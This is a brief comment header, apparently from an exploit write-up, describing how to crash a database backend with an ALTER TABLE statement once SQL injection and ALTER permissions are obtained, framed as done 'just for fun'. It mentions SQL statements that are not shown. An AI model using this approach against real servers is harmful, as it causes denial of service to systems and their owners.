* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* In the nuts just for fun. Start with the Alter TABLE statement on
* A table and field you know to exist. The first two SQL statements are
* Simply to demostrate reproducibility...
